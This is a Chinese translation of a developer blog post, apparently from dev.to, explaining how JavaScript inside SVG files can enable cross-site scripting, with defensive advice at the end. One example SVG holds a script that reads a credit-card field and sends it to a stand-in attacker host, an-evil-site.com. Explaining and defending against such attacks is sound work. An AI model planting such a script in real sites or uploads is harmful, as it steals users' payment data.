SVG 为何如此危险

2025-06-07

SVG 为何如此危险

可缩放矢量图形 (SVG) 是一种 XML 文档,它将图像描述为数学公式。因此,浏览器使用这些公式绘制的图像在任何尺寸下都不会损失质量。

以下是描述绿色圆圈的简单 SVG 文档的内容:



<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>


Enter fullscreen mode Exit fullscreen mode

视觉效果:

虽然 SVG 相较于基于光栅的图像格式具有某些优势,例如可扩展性、交互性、可编辑性和较小的文件大小,但 SVG 也可能被用于某些邪恶目的。👿

由于 SVG 拥有自己的文档对象模型 (DOM),就像 HTML 文档一样,它们可以充当交互式文档。怎么做到的?其实很简单——任何人都可以编写一些 JavaScript 代码:



<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('I can do evil things...');</script>
  <circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>


Enter fullscreen mode Exit fullscreen mode

如果我们用浏览器打开这个 SVG 文档,我们可以看到 JavaScript 立即执行。警报甚至会阻止浏览器渲染圆圈。

虽然在 SVG 中添加 JS 本身并不危险,但了解如何利用它们很重要。

设想一下这样的场景:一个论坛允许任何用户上传 SVG 格式的个人资料图片。黑客可以添加一个脚本来检索 cookie/存储信息,并强制浏览器重定向到他们自己的服务器,并传入包含检索数据的查询参数。如果这张 SVG 个人资料图片嵌入到网站上,并且被任何人查看,那么该恶意脚本就会在用户意识到发生了什么之前运行。这种攻击是一种跨站脚本 (XSS),其利用的可能性有很多:



<h3>Enter Your Payment Info</h3>
<input id="credit-card">

<div class="customer-pic">
  <svg xmlns="http://www.w3.org/2000/svg">
    <script>
      const evilSite = 'http://www.an-evil-site.com';
      const ccInput = document.querySelector('#credit-card');
      ccInput.onchange = () => {
        window.location.href = `${evilSite}?cc=${ccInput.value}`;
      }; 
    </script>
    <circle cx="40" cy="40" r="24"></circle>
  </svg>
</div>


Enter fullscreen mode Exit fullscreen mode

让我们就此打住,先明确一个大问题——当 SVG 实现为图像标签或 CSS 背景图像源时,浏览器将不会执行 SVG 中嵌入的任何 JavaScript。因此,以下实现是安全的:



<img src="./circle.svg">


Enter fullscreen mode Exit fullscreen mode


div {
  background-image: url("./circle.svg");
}


Enter fullscreen mode Exit fullscreen mode

但如果这些木马 SVG 被直接嵌入或通过 iframe 添加,那么糟糕的事情就会发生。🚨

那么如何才能防范这种恶意攻击呢?

  • 不允许从不受信任的来源上传 SVG。
  • 考虑使用内容安全策略 (CSP) 来防止 XSS。
  • 不要在客户端存储敏感数据。
  • 使用安全框架来捕获敏感的客户端输入。

在我的博客jsbits-yo.com上查看更多 #JSBits 。或者在Twitter上关注我

文章来源:https://dev.to/js_bits_bill/how-svgs-can-be-dangerous-js-bits-mjh
PREV
如何使用 JavaScript 通过鼠标滚轮创建水平滚动
NEXT
3 个不常见但有用的 HTML 元素